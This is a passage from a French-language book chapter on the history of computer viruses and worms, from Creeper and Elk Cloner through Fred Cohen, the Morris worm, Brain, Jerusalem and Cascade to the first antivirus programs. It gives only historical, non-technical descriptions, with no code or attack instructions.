1. TURING, Alan Mathison (1936),

On Computable Numbers, with an application to the Ents-cheidungsproblem

, publié dans

Proceedings of the London Mathematical Society

, série 2, volume 42(1936-7), pp.230-265. Corrections : Ibid, vol 43 (1937) pp. 544-546. Disponible à l’adresse : http://www.abelard.org/turpap2/tp2-ie.asp.2. BURKS, Arthur W. (1966),

Theory of Self-Reproducing Automata

by John von Neumann, Uni-versity of Illinois Press, Urbana, Illinois, 1966. Documents édités, publiés et complétés. Ils sontbasés sur la retranscription de lectures délivrées à l’université en décembre 1949 (5

ème

lecture).Voir pp. 29-87 (première partie) :

Theory and Organization of Complicated Automata.

3. The Risks Digest (1990), Contribution intitulée

How history gets made, or, myths spread likeviruses at the CVIA,

Vol9, Issue76 (Lundi 19 mars 1990).4. SOFTWARE – Practice and Experience (1972), Computer Recreations: 'Darwin'. Vol2, 93-96.

PAGET_Ch02 Page 36 Lundi, 11. avril 2005 5:25 17

37

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

2.2 Les premières expériences

Même s’il était peu connu du grand public, ce type de jeu fut très populaire. Ilsortit réellement de l’ombre en 1984 quand il fut décrit sous le nom de

Core War

1

.

2.2.1 CREEPER & REAPER

Le premier ver date peut-être de 1971. Son but n’était absolument pas malveillant ;il se nommait

Creeper

. Selon Max Schwarzmaier

2

, ce programme de démonstrationétait en fait une réponse aux besoins des contrôleurs aériens qui, sur ARPANET

3

,souhaitaient recevoir une notification lorsque certains avions passaient de lasurveillance d’un ordinateur à un autre. Le programme ne se multipliait pas maisutilisait une machine à la fois. Il avait la capacité de se déplacer de machine enmachine pour s’y exécuter. À chaque exécution le message

« I’m creeper! Catch me ifyou can! »

s’affichait à l’écran.

Diverses informations non vérifiées à ce jour semblent indiquer que d’autres ver-sions de

Creeper

ont ensuite vu le jour. Dans ces versions,

Creeper

avait la capacitéde se démultiplier

4

. Un second programme s’intitulant

Reaper

aurait même étaitdéveloppé pour combattre et éliminer le précédent.

D’autres sources parlent d’un programme similaire nommé

Rabbit

sur IBM360.Aucune source fiable ne m’a permis d’en confirmer l’existence.

2.2.2 Animal et Pervade

Le programme

Animal

fut écrit dans les années 1970 par John Walker

5

. Développésur UNIVAC, sa notoriété contribua au développement de nombreuses légendes. Ils’agissait d’un jeu qui, par le biais d’une vingtaine de questions, se devait d’être àmême de déterminer à quel animal le joueur pensait. Grâce aux réponses apportéespar les joueurs, le programme développait une base de connaissance qui lui permet-tait d’être de plus en plus performant.

1. DEWDNEY A.K. (1984).

Computer Recreations: In the game called Core War hostile programsengage in a battle of bits

, Scientific American 250(5): 14-22, Mai, 1984.2. SCHWARZMAIER Max. (1995),

The Internet Worm 1988

, Disponible à l’adresse : http://www.ifs.univie.ac.at/~c9225414/security/worm.html.3. ARPANET :

Advanced Research Projetcs Agency NETwork

, Réseau de l’Agence pour les Projetsde Recherche Avancés. Groupe de recherche créé en 1968 sous couvert du ministère américain dela Défense pour développer un réseau décentralisé qui devait pouvoir résister à une attaque atomi-que. Ancêtre d’Internet, ce réseau se devait d’accueillir des ordinateurs de marques différentespour qu’ils puissent dialoguer entre eux grâce au principe de la communication par paquets. Il auraune influence considérable sur le développement de la messagerie électronique et du partage del’information.4. SHOCH John. F. & HUPP Jon. A. (1982),

The « Worm » Programs – Early Experience with aDistributed Computation

, Communication of the ACM. Vol25, Nb3, pp 172-180.5. WALKER John. (1996),

The Animal Episode,

Disponible à l’adresse : http://www.fourmilab.ch/documents/univac/animal.html

PAGET_Ch02 Page 37 Lundi, 11. avril 2005 5:25 17

38 Chapitre 2. Historique – de l’innocence à la tentation criminelle

En Avril 1974, John Walker mit au point sur UNIVAC 1100 l’ultime version duprogramme. La notoriété aidant, John fut vite submergé de demande. En janvier1975, il se lassa des nombreux envois de bandes magnétiques pour son logiciel ou sesmises à jour.

Il développa

Pervade

et l’intégra à son programme. À chaque exécution du jeu,cette routine examinait les répertoires accessibles au travers du réseau et y copiait laversion actuelle du logiciel si elle y était absente, ou présente dans une versionmoins récente.

Les ordinateurs UNIVAC possédaient une caractéristique peu connue et peucommune : lorsqu’un utilisateur entrait au clavier le nom d’un répertoire, le systèmeexécutait automatiquement le dernier programme placé dans celui-ci. Associée à

Pervade

, cette fonctionnalité d’un grand intérêt pour les administrateurs système del’époque explique les nombreuses rumeurs qui s’en suivirent… elle explique aussipourquoi des utilisateurs recevaient sans bien comprendre pourquoi des messages dutype :

« Think of an animal »

.

2.2.3 Maintenance et télédistribution

Le document de John Shoch et Jon Hupp cité plus haut, présente également quel-ques applications concrètes qui auraient été réalisées dans les années 1980.Mentionnant John. Brunner (voir paragraphe suivant), il introduit le terme de

vers

et envisage de les utiliser comme utilitaires de maintenance ou de télédistribution.

Dès cette époque on redoute cependant une mauvaise utilisation ou un disfonc-tionnement du ver pouvant entraîner un crash du système. Le centre de recherche

Xerox

de Palo Alto d’où sont issus nos chercheurs en fait d’ailleurs la triste expé-rience. Un matin, le personnel du centre retrouve ses machines stoppées. À chaqueremise en marche, un ver expérimental resurgit et entraîne un nouveau crash. Il fautalors

injecter un programme tueur

pour supprimer l’hôte devenu indésirable. Ce phé-nomène marqua la fin des expériences.

2.3 LA SCIENCE-FICTION

Bien des livres et des nouvelles mettent en scène un monde ou des machines utili-sent à leur profit ou à leur dépend des programmes nuisibles.

Le premier récit fut peut être

The Thinking Machine

d’Adam Levitt. Il serait paruen 1936 dans un magazine américain consacré à la science-fiction :

Amazing Stories

.Il s’agirait de l’histoire d’une machine intelligente, contrôlant l’activité d’une villeet la détruisant après être devenue folle au contact des humains

1

.

1. GREENBERT, Igor, 1995,

Computer Viruses

, Document disponible à l’adresse : http://www.pa-spaug.org/News95/NewsAug.htm.

PAGET_Ch02 Page 38 Lundi, 11. avril 2005 5:25 17

39

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

2.3 La science-fiction

Pour le domaine des codes auto reproducteurs, les visionnaires ne furent pas seu-lement universitaires et chercheurs. Les auteurs de science-fiction eurent souventbeaucoup d’intuition. Les termes de

virus

et de

ver

semblent d’ailleurs issus de lascience fiction.

2.3.1 Harlie avait un an

Influencé par les travaux d’Alan Mathison Turing

1

et né en 1944, David Gerrold estl’un des scénaristes de

Star Trek

. Il utilise le terme

virus

en 1972, dans la premièreédition de son roman :

When HARLIE was one

2

.

HARLIE (

Human Analogue Robot Life Input Equivalents

) est un ordinateur dotéd’une intelligence artificielle capable d’imiter les diverses fonctions du cerveauhumain. Ce cerveau électronique cherche à contacter d’autres ordinateurs pour lesreprogrammer ou modifier leurs données. Pour arriver à ses fins, HARLIE composedes numéros de téléphone au hasard en utilisant un programme informatique appelé

Virus

. Lorsqu’un ordinateur est découvert, une copie du programme

Virus

est télé-chargée sur celui-ci afin de démultiplier les recherches.

2.3.2 Sur l’onde choc

Autre auteur de science-fiction, John Brunner est né en 1934. Son roman le plusfameux fut

Tous à Zanzibar

, vaste fresque qui conte l’histoire d’extraterrestres végé-taux.

Au travers de ses divers romans, il dresse un sombre tableau du monde qui semblele reflet aux traits grossis et noircis de celui où nous vivons : croissance de la popula-tion, appauvrissement des pays sous-développés, montée de la violence, évolutionnon contrôlée de la génétique, de la biologie et de l’informatique. Lorsqu’il traite dupéril informatique, l’ordinateur est déjà en réseau.

Son roman

The Schockwave Rider

3

qui parait en 1975, se situe au XXIe siècle. Ladominance politique des USA s’exprime dans une société hautement technologiqueou la compétitivité entraîne les pires excès. Le héros, Nickie Haflinger, s’est échappéde la mégalopole de Tarnover afin de restaurer la liberté. Le monde autour de luin’est plus qu’un vaste réseau informatique universel qui encercle les continentscomme le feraient des chaînes… Chacun croit avoir accès à l’information ; il peut lademander depuis n’importe quel terminal du réseau. En réalité, seule une élite est àmême d’en obtenir une version non édulcorée ; les masses n’ont, quant à elles, quedes données aseptisées et de la propagande.

1. Voir le paragraphe dédié à Von Neumann.2. GERROLD, David, (1972),

When Harlie Was One

, Ballentine Books, 1st Edition, En français :

Harry avait un an

, Paris, Le Livre de Poche, 1980.3. BRUNNER John (1975),

The Shockwave Rider

, Ballantine Books, ISBN:345-24853-8. En fran-çais,

Sur l’onde de choc

, Le Livre de Poche. Laffont. ISBN:2-253-05270-1.

PAGET_Ch02 Page 39 Lundi, 11. avril 2005 5:25 17

40 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Une sorte de ver, le

tapeworm

entre en scène à la fin du livre. C’est un programmecréé par le héros pour casser la sécurité du système. Le ver n’infecte pas d’autres logi-ciels, il ne semble pas non plus se reproduire, il grossit et se perpétue aussi longtempsque le réseau existe.

Le ver de John Brunner ressemble à celui décrit par les informaticiens Shoch etHupp en 1980 et 1982 ; il est composé de multiples

segments

, chacun s’exécutant surune machine du réseau. Si un segment disparaît, son double est réinjecté dans uneautre station. Le ver se subdivise automatiquement; il envoie une copie de lui-mêmeà la recherche des groupes perdus et cherche à les restaurer dans leur environnementinitial.

Incroyablement intelligent, le ver de John Brunner s’approprie les données et semodifie de lui-même pour mieux contourner la sécurité. Les autorités sont incapa-bles de le détruire, non pas à cause de ses mécanismes de défense ou de ses nombreu-ses copies mais parce qu’il s’est assimilé lui-même au réseau. Pour tuer le

tapeworm

, ilfaudrait tuer le réseau.

John Brunner écrivit 95 romans. Il meurt en 1995 lors de la Convention mon-diale de la science-fiction. Deux ans plus tard, dans

The Adolescence of P-1

, ThomasRyan

1

décrivait lui aussi un programme se reproduisant et progressant de machine enmachine au travers d’un réseau téléphonique à la recherche d’informations.

2.4 APPLE II

Pour de nombreuses études le premier virus informatique est apparu en 1986 etciblait le monde des PC. Les ordinateurs Apple furent cependant la cible de quel-ques virus au début des années 80.

2.4.1 Elk Cloner

Le virus

Elk Cloner

fut écrit en 1982 par Richard Skrenta

2

alors qu’il était étudiant àPittsburgh, Pennsylvanie. L’auteur souhaitait laisser sa trace dans le logicield’exploitation de l’Apple II de son école. Il écrivit un programme afin que tout utili-sateur passant après lui sur la machine, et ne réinitialisant pas le système avec sespropres disques, se trouve infecté. «

J’ai ainsi réalisé qu’un programme auto reproduc-teur pouvait être créé

» indique t’il.

La réinfection de la machine se produisait avec le démarrage depuis une dis-quette préalablement infectée. Une description précise de la version 2 de

Elk Cloner

1. RYAN J. Thomas (1977),

The Adolescence of P-1

, Ace SF Books, ISBN 0-441-00360-5.2. DEWDNEY A.K. (1985),

A Core War bestiary of viruses, worms and other threats to computermemories

, Scientific American, Mars 1985.

PAGET_Ch02 Page 40 Lundi, 11. avril 2005 5:25 17

41

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

2.5 Fred Cohen

est disponible sur l’ancienne liste de diffusion

Virus-L

1

. Le code source est accessiblesur le site web de son auteur

2.

2.4.2 Anti-Congo

À la même époque, d’autres virus furent écrits par un certain Joe Dellinger alorsétudiant à l’université du Texas A&M. Il indiqua plus tard que son but était demesurer le temps mis par sa création pour investir l’ensemble de ses disquettes3. Lapremière version n’était pas satisfaisante, mais la seconde (Virus 2) intéressa certainsde ses collègues qui décidèrent d’infecter leurs propres disquettes.

Peu de temps après, des défauts d’affichages apparurent sur des versions piratéesdu jeu Congo. Il s’agissait d’un effet secondaire du virus qui s’était propagé plus quene l’auraient souhaité les jeunes étudiants. Ils créèrent alors un programme vaccin(immunizer).

Joe écrivit ensuite une troisième version de son virus dont le but était de corrigerles effets indésirables de la version 2.

2.5 FRED COHEN

L’histoire des virus informatiques ne saurait être complète s’il n’y était pas faitmention des travaux du Docteur Fred Cohen. Licencié ès Sciences en Electrotech-nique à l’Université de Carnegie-Melon en 1977, il obtint une Maîtrise en Sciencede l’Information à l’Université de Pittsburg en 1981 et en 1986 un Doctorat en Elec-tricité à l’Université de Californie du Sud.

De janvier 1985 à avril 1987, il est professeur en informatique et en électrotech-nique à l’Université de Lehigh. Puis, jusqu’en décembre 1988, il est professeurd’électricité et d’informatique à l’Université de Cincinnati. Dans les années 1990, ildevient membre de divers organismes de renom dont l’IEEE (Institute of Electrical andElectronics Engineers).

En 1983, Fred Cohen s’intéresse déjà aux programmes auto reproducteurs. Le 10novembre, il doit présenter un papier sur ce sujet à un séminaire sur la sécurité infor-matique. Pour symboliser le concept exposé, Len Adleman, son responsable dethèse, fait un lien avec le phénomène biologique et lui propose le terme de virus.

Pour étayer ses théories, Fred Cohen décide de mener ses premières expérimenta-tions. Le 3 novembre 1983, après 8 heures de travail sur un VAX 11/750 sous UNIX,le premier virus est prêt. L’infection initiale est implantée au début d’un programmeutilitaire : le code ainsi ajouté s’exécute en premier, avant le programme normale-

1. VIRUS-L Digest (1989-1), Apple 2 Elk virus, Mercredi 10 février 1989, Volume 2 : Issue 43.2. http://www.skrenta.com.3. The Risks Digest (1991), Contribution intitulée RE: Prize for Most Useful Computer Virus,Vol12, Issue30 (Mercredi 11 septembre 1991).

PAGET_Ch02 Page 41 Lundi, 11. avril 2005 5:25 17

42 Chapitre 2. Historique – de l’innocence à la tentation criminelle

ment attendu. Le programme modifié étant diffusé secrètement à un groupe d’utili-sateurs, il y eut cinq attaques virales successives. La première expérience ne dura que5 minutes. Les suivantes ne dépassèrent pas 30 minutes.

Les attaques étaient étroitement contrôlées et le succès fut néanmoins total. Laprincipale surprise vint de la rapidité de propagation. Les expérimentateurs consta-tèrent aussi que le temps d’infection d’un programme sain n’attirait pas l’attention(moins d’une demi seconde). Une fois ces résultats annoncés, les administrateurssystèmes décidèrent de ne plus permettre la poursuite des recherches.

D’autres autorisations furent cependant obtenues et des expérimentations eurentlieu en juillet 1984 sur un ordinateur UNIVAC 1108 puis en août sur un systèmeVAX sous UNIX.

Fred Cohen publia son premier document sur le sujet en 1984. Celui-ci contientune définition du virus qui fait encore aujourd’hui valeur de référence1 :

Un « virus » informatique est un programme qui a la capacité « d’infecter » d’autresprogrammes en les modifiant de telle sorte qu’ils contiennent ensuite une copie de lui-même. Grâce à cette propriété d’infection, un virus peut se propager au travers d’unsystème informatique ou d’un réseau. Le virus utilise alors les droits de chaque utilisa-teur pour infecter ses programmes. Chaque programme infecté agit ensuite comme unvirus répandant ainsi l’infection.

À compter de cette date, Fred Cohen écrivit de nombreux documents sur lesujet. Les premiers d’entre eux parurent dans la revue Computer & Security entre1987 et 1989 :

• Computer Viruses – Theory and Experiments2 (1987).• On the Implications of Computer Viruses and Methods of Defense3 (1988).• Ethical Issues in Computer Virus Distributions4 (1988).• Models of Practical Defenses Against Computer Viruses5 (1989).• Computational Aspects of Computer Viruses (1989).

1. COHEN Fred. (1984), Computer Viruses – Theory and Experiments, DOD/NBS 7th Conf. onComputer Security. IFIP-sec 84.2. Computer Viruses – Theory and Experiments, Computers & Security, Volume 6 (1987), pp 22-35.3. On the Implications of Computer Viruses and Methods of Defense, Computers & Security, Volume7 N°2 (1988), pp 167-184.4. Ethical Issues in Computer Virus Distributions, Computers & Security, Volume 7 N°4 (1988),pp 335-336.5. Models of Practical Defenses Against Computer Viruses, Computers & Security, Volume 8 N°2(1989), pp 149-160.

PAGET_Ch02 Page 42 Lundi, 11. avril 2005 5:25 17

43©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.6 Les premiers vers

2.6 LES PREMIERS VERS

Entre 1987 et 1989, les grands réseaux s’interconnectent. Ce fut d’abord la commu-nication e-mail entre les mondes Unix (SMTP), VMS et BITNET. Arrive ensuiteune passerelle qui fait un lien avec UUCP et ARPAnet (le futur Internet).

Les utilisateurs d’Internet passent de 10.000 à 100.000. Commencent alors lessoucis de sécurité.

2.6.1 BITNET : IBM Christmas Tree

Le premier ver ayant eu un retentissement important fut IBM Christmas Tree. Écritpar un étudiant ouest-Allemand il fut diffusé le 9 décembre 1987 sur le réseau améri-cain BITNET (machines IBM).

Le 17 décembre 1987, il finit par paralyser le réseau de messagerie privé VNET. Ilfallut tout arrêter jusqu’à la localisation et la suppression de toutes les copies du ver.Il se présentait sous la forme d’un courrier électronique avec un fichier attaché(CHRISTMA EXEC). À son exécution, il affichait ses vœux, prenait l’ensemble ducarnet d’adresse de la messagerie de l’utilisateur et se diffusait de lui-même à tous lesdestinataires1.

2.6.2 INTERNET : RTM Worm

Revenons un instant sur nos trois amis informaticiens qui créèrent Darwin en 1962.L’un d’entre eux, Robert P. Morris Senior eut un fils : Robert Tappan. À son tour, ilse passionna pour l’informatique.

En 1988, il a 23 ans et étudie à l’Université de Cornell. Internet est alors unréseau de 60.000 machines2. Le 2 novembre, il y injecte un programme auto repro-ducteur. Ne souhaitant implémenter qu’un seul exemplaire de son programme parmachine, celui-ci fonctionne autrement que prévu. Il se propage plus brutalement etsature la mémoire de ses hôtes par ses multiples copies.

Apprenant quelques heures plus tard que des ordinateurs interconnectés auréseau se plantaient du fait d’une réinfection incessante, Robert Tappan fit poster,dans la confusion générale, un message d’excuses donnant des instructions pourdétruire son programme3.

1. FERBRACHE David. (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9.2. LOTTOR Marc (Octobre 1988), Rencontre de l’IETF (Internet Engineering Task Force), AnnArbor.3. CLOUGH Brian & MUNGO Paul (1993), Délinquance Assistée par Ordinateur, DUNOD.ISBN 2-10-002013-7. Traduit de l’anglais Approaching Zero, Faber & Faber Limited. London.

PAGET_Ch02 Page 43 Lundi, 11. avril 2005 5:25 17

44 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Le rapport d’expertise technique d’Eugène Spafford1 présente la chronologiecomplète des évènements. Il indique que moins de 5 % des machines du réseaufurent été touchées par le ver qui prit le nom de son auteur (RTM).

En France, sous l’égide du Premier Ministre, le Service Central de la Sécurité desSystèmes d’Information émit une note d’information à destination des entreprisesayant à traiter des données sensibles. Elle leur demandait « d’éviter de se raccorder àde tels réseaux dont les points faibles sont multiples, et qui sont largement utilisés par lespirates de tout poil. ».

Une note du SCSSI2 remet aussi en cause la plupart des interprétations alarmis-tes parues dans la presse. Elle souligne que :

• l’attaquant n’avait qu’une connaissance élémentaire d’UNIX et du réseauInternet,

• le code utilisé n’avait rien de professionnel, et n’avait pas été préalablementtesté,

• tout le code n’était pas exécutable,• les actions réelles avaient été moins graves que ce qui était éventuellement

prévu,• des erreurs de conception avaient rendu le ver moins virulent que ce qu’il

aurait pu être.

Cet incident fut cependant à l’origine de la création des CERT (Computer Emer-gency Response Teams).

2.6.3 DECNET : Father Christmas Worm

Six semaines plus tard, le 23 décembre 1988, le réseau SPAN de la NASA (SpacePhysics Analysis Network) accueillait Father Christmas Worm. Comme IBM ChrismasTree, il affichait des vœux de Noël. Il ciblait les systèmes VMS de DEC via le proto-cole DECNET. Le fichier attaché se nommait HI.COM. Le ver devait attendre le24 décembre minuit pour se diffuser par mail3.

2.6.4 DECNET : Worms Against Nuclear Killers

L’attaque suivante débuta le 16 octobre 1989. Il s’agissait d’un nouveau ver affectantles plates-formes DEC VMS et utilisant lui aussi le protocole DECNET. Ce ver, inti-tulé WANK (Worms Against Nuclear Killers), se propageait sur le réseau de compte

1. SPAFFORD Eugène H. (1991), The Internet Worm Incident, Technical Report CSD-TR-933,Department of Computer Sciences. Purdue University. Disponible à l’adresse :ftp://coast.cs.purdue.edu/pub/doc/morris_worm.2. Service Central de la Sécurité des Systèmes d’Information, note d’information N° 01/89(7 février 1989).3. FERBRACHE David (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9.

PAGET_Ch02 Page 44 Lundi, 11. avril 2005 5:25 17

45©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.7 1986-1987 : Premières infections

en compte. Il modifiait la bannière d’accueil et les mots de passe. Il mettait aussi enœuvre un processus de spamming pour perturber les utilisateurs connectés1.

2.7 1986-1987 : PREMIÈRES INFECTIONS

L’utilité du secteur de démarrage d’une disquette avait été découverte et exploitéeen 1981 par l’auteur du virus APPLE II Elk Cloner. Cette même découverte fut faitepar deux frères tenant une boutique informatique à Lahore (Pakistan). C’est aveccelle ci que démarre une première époque de quatre années ou l’on verra apparaîtreles premiers anti-virus.

2.7.1 BRAIN

La boutique des deux frères précédemment cités se nommait Brain ComputerServices. De nombreuses sources nous rapportent que ces deux personnes proposaientà leurs clients des logiciels. Selon certains, il s’agissait de logiciels de leur fabrication,pour d’autres des copies de LOTUS-123.

Si ces programmes étaient destinés à l’étranger, la disquette contenait le virus.Son label devenait : « (c) Brain ». L’un des buts de cette manipulation aurait été lamesure de l’étendu du piratage en vue de le contrecarrer.

Une autre source qui semble plus fiable indique que les frères firent cela pours’amuser (« for fun »)2. C’est pour le moins ce que rapporte un journaliste du TheChronicle of Higher Education qui aurait interrogé Basit Alvi alors âgé de 19 ans.

Divers messages étaient insérés dans le code viral, les principaux se situaient dansle premier secteur physique de la disquette. D’autres messages étaient disséminésdans les 6 autres secteurs qu’occupait le virus. On y trouvait entre autres, les coor-données complètes des deux auteurs.

La version originale du virus n’infectait pas le disque dur, elle se contentait de sedupliquer de disquette en disquette. Ce premier virus système était également furtif.Dans un environnement infecté, l’analyse de la zone système ne révélait riend’anormal ; le virus retournait au programme qui l’interrogeait une image saine de lazone.

Le 22 octobre 1987, le virus est repéré à l’Université de Delaware3. De nombreu-ses variantes contenant des messages modifiés furent ensuite rencontrées.

1. CERT (17 octobre 1989), Advisory CA-89:04. WANK Worm On SPAN Network, Disponible àl’adresse : http://www.cert.org/advisories/CA-1989-04.html.2. HIGHLAND, Harold Joseph (1988-1), Computer Viruses – A Post Mortem, Computers & Secu-rity, Avril 1988, pp.117-125.3. HIGHLAND, Harold Joseph (1988-2), The BRAIN Virus : Fact and Fantasy, Computers &Security, Août 1988, pp.367-370.

PAGET_Ch02 Page 45 Lundi, 11. avril 2005 5:25 17

46 Chapitre 2. Historique – de l’innocence à la tentation criminelle

2.7.2 Ralf Burger & Berdn Fix

Toujours en 1986, un programmeur allemand, Ralf Burger, imagine le premier virusprogramme. Il présente son idée à la conférence du Chaos Computer Club dedécembre 1986 à Hambourg. Il y distribue VIRDEM ; virus conçu pour infecter parajout les fichiers de type .com.

Son idée a un grand succès, il décide d’écrire un livre qui paraît en 1987. Écrit enallemand, une version anglaise est disponible un an plus tard1.

Dans ces livres, divers codes sont mis à la disposition du public. À coté de VIR-DEM et de IBM Christmas Tree, on trouve pour la première fois le code désassembléet expliqué d’un virus qui circulait depuis la fin 1987 : il s’agissait de Vienna. Ledésassemblage fut un travail commun entre Ralf et Berdn Fix. Lui aussi était présentà Hambourg en 1996. Il avait écrit un virus de démonstration intitulé Rush Houraprès avoir lu le livre de John Brunner2.

Avec ces premiers livres, arrivent les premières justifications quant à la créationet la distribution de codes viraux : selon les auteurs, ils permettront de découvrir lesfailles de sécurité dans les systèmes.

2.7.3 Les universités en première ligne

1987 fut l’année des premières infections. Autour du monde, les universités furentsouvent exposées :

• Brain à l’université de Delaware,• Lehigh à l’université de Lehigh (USA),• Jérusalem à l’université technique Technion de Haïfa en d’Israël,• Stoned à l’université de Wellington de Nouvelle-Zélande,• Ping-Pong à l’université de Turin (Italie).

Lehigh ne s’est jamais répandu hors de l’université. Détruisant après 4 générationsune partie de la table d’allocation des fichiers et n’infectant que le fichier com-mand.com, ses chances de propagation étaient trop minces.

Jérusalem, était plus discret. Par opposition à Lehigh, il n’infectait pas le com-mand.com et son module de destruction n’entrait en action que plus rarement : uni-quement un vendredi 13. Afin de parfaire la discrétion initiale, une routineparticulière lui fit omettre le vendredi 13 novembre 1987, trop proche de son lance-ment3. La rumeur nous rapporte que l’auteur souhaitait peut-être commémorer à safaçon le 13 mai 1988, date du 40ème anniversaire de la création de l’État hébreu.

1. BURGER Ralf (1987 & 1988), Das große Computer-Viren-Buch, Data Becker, ISBN 3-89011-200-5. Computer Viruses, a high-tech disease, Abacus, ISBN 1-55755-043-3.2. FIX, Bernd, A strange story. Document disponible à l’adresse : http://www.brainon.ch/area51/brf/devstuff/rahab/rahab.html.3. SKULASON Fridrik, Defining The Jerusalem Variants, Virus Bulletin, Octobre 1990, p. 8.

PAGET_Ch02 Page 46 Lundi, 11. avril 2005 5:25 17

47©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.8 1988 : Les premiers antivirus pour ibm pc

Stoned, alias Marijuana, fut le premier virus infectant le secteur de partition (Mas-ter Boot Record – MBR). Il fut longtemps le virus le plus répandu au monde. Une foissur huit, lors du démarrage, il affichait le message « Your PC is now Stoned ! ». Jamaisaffiché, le texte « LEGALISE MARIJUANA » était aussi contenu dans le code.

2.7.4 L’arrivée du cryptage

Toujours en 1987, un programmeur allemand écrivit un virus très visuel. Deseptembre à décembre 1988, il provoquait la chute des lettres au bas de l’écran.Celles-ci s’empilaient en laissant l’utilisateur abasourdi. L’effet graphique donna sonnom au virus : Cascade.

Cascade fut aussi le premier virus crypté. Seul restaient en clair les 35 premiersoctets dédiés au décryptage. Au premier examen, chaque fichier infecté semblaitl’être par un virus différent. Cette nouvelle technique rendait la détection plus diffi-cile. L’éradication du virus devenait aussi plus périlleuse. Les 3 premiers octets à res-tituer ne pouvaient l’être directement. Ils étaient présent dans la zone cryptée etdevaient être décodés avant leur rétablissement.

2.8 1988 : LES PREMIERS ANTIVIRUS POUR IBM PC

En janvier 1988, une douzaine de virus sont recensés. Pour certains d’entre eux, telsque Brain, Jérusalem ou Vienna, des programmes spécifiques de détection et d’éradi-cation sont rapidement créés. Mis au point par les premiers professionnels anti-virus,ils ne ciblaient qu’un seul virus. À l’étonnement de ces chercheurs, ces premiersproduits détectèrent bientôt d’autres virus : des variantes. Non seulement l’anti-virus venait de naître, mais avec lui, l’intérêt de la détection générique et heuris-tique.

2.8.1 Virus Antivirus

En mars 1988, à Bandung, Denny Yanuar Ramdhani créait les deux premiers virusindonésiens. Il les baptisa Den Zuko et Hackers. Leurs buts étaient de diffuser « lebonjour » de leur auteur aux utilisateurs de micro-ordinateurs de la ville lorsque ceuxci pressaient simultanément les touches <CTRL><ALT><DEL>. Avant le redé-marrage de la machine, apparaissait alors pendant un bref instant une image encouleur contenant le texte DENZUKO accompagné d’un logo inconnu.

La seconde variante du virus s’attachait à détecter et éliminer sa précédente ver-sion. Elle cherchait aussi à éliminer le virus Brain puis à immuniser la disquette con-tre toute nouvelle attaque de celui-ci. Elle changeait le nom de volume de ladisquette en « Y.C.1.E.R.P. ».

Cette étrange chaîne de caractères se retrouvait aussi dans un texte associé à lapremière variante. En 1990, Fridrik Skulason y vit un indicatif de radio amateur et

PAGET_Ch02 Page 47 Lundi, 11. avril 2005 5:25 17

48 Chapitre 2. Historique – de l’innocence à la tentation criminelle

consulta l’International Callbook. L’indicatif en question correspondait à un radioa-mateur de Bandung. Il le contacta et reçu ses aveux en retour1.

Notons pour finir que ce virus utilisait une nouvelle technique de dissimulation.Les disquettes 360 Ko de l’époque étaient constituées de 40 pistes (numérotées de 0à 39). Le virus en activait une 41ième, numérotée 40, pour y cacher son code complé-mentaire. Il devint donc potentiellement destructeur dès qu’apparurent les disquet-tes à haute densité constituées de 80 pistes utiles.

2.8.2 Monitoring de programme

Les programmes dédiés à la surveillance des activités suspectes sur une machine exis-taient avant l’apparition de Brain.

En 1985, Andy Hopkings proposait Chk4Bomb. Comme son nom le laisse suppo-ser, ce programme était censé protéger les machines au regard des bombes logiquesde l’époque. Il surveillait les tentatives de formatage, l’accès direct au disque et lesaccès en écriture vers des secteurs physiques. Il permit d’intercepter quelques-uns despremiers virus.

De même, en 1987, Ross Greenberg crée un programme de protection contre lesactivités malveillantes induites par les chevaux de Troie et les vers. Flu_shot surveillel’activité en mémoire, les modification éventuelles de fichiers système, les tentativesde formatage, etc. Via un contrôle d’intégrité, (méthode de checksum) il vérifie nonseulement les zones système mais les fichiers.

Très vite, Ross se rend compte que son programme est à même de contrarier lesvirus du moment. Il le propose comme une réponse à Lehigh2.

Avec d’autres programmes similaires, et avant la recherche par signature,Chk4Bomb et Flu_shot peuvent être considérés comme les premiers anti-virus pourIBM PC.

En 1988, et selon la même technique, la société Interpath, proposera C-4 etSentry. Le patron de cette petite compagnie sera rapidement connu puisqu’il n’estautre que John McAfee.

2.8.3 DATACRIME : L’antivirus est au commissariat !

En 1989, les médias font leurs gros titres sur certains virus. Elles annoncent l’immi-nence de dégâts. Il s’agit d’abord de Jérusalem, qui, plus d’un an après sa découverte,fait encore peur. En 1989, il y a deux vendredis 13, le premier tombe en janvier. Les

1. SKULASON, Fridrik (Fevrier 1991), The Search for Den Zuk, Virus Bulletin, Février 1991,pp 6-7.2. GREENBERG, Ross M. (Février 1988), Cité dans une contribution du Forum The Risk Digest ,Volume 6 : Issue 25, Virus (Trojan) protection program now available from SIMTEL20. Documentdisponible à l’adresse : http://catless.ncl.ac.uk/Risks/6.25.html.

PAGET_Ch02 Page 48 Lundi, 11. avril 2005 5:25 17

49©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.8 1988 : Les premiers antivirus pour ibm pc

bureaux d’Alan Solomon qui propose maintenant un anti-virus (Anti-Virus Toolkitfrom S&S) sont envahis par les caméras de télévision. Les quelques entreprises ayantrepéré le virus font l’objet de nombreuses demandes d’interview.

Dans son histoire des virus informatiques, Alan s’attarde plus longuement surDatacrime. Découvert en mars 1989 après qu’un hollandais du nom de Fred Vogel l’aicontacté, ce nouveau virus enflamme aussi les médias.

On découvre en effet qu’il est programmé pour exécuter un formatage bas niveaudu premier cylindre des disques durs qu’il a infectés. Le déclenchement programmépeut s’activer à tout moment entre le 12 octobre et le 31 décembre. S’il intervient, ildétruit la table d’allocation des fichiers entraînant ainsi la perte des données.

En Hollande, la police prend le problème au sérieux. L’action de Datacrime estconsidérée comme un acte criminel. On demande à un programmeur d’écrire undétecteur ; il est ensuite mis à la disposition du public dans les commissariats contreune somme minime.

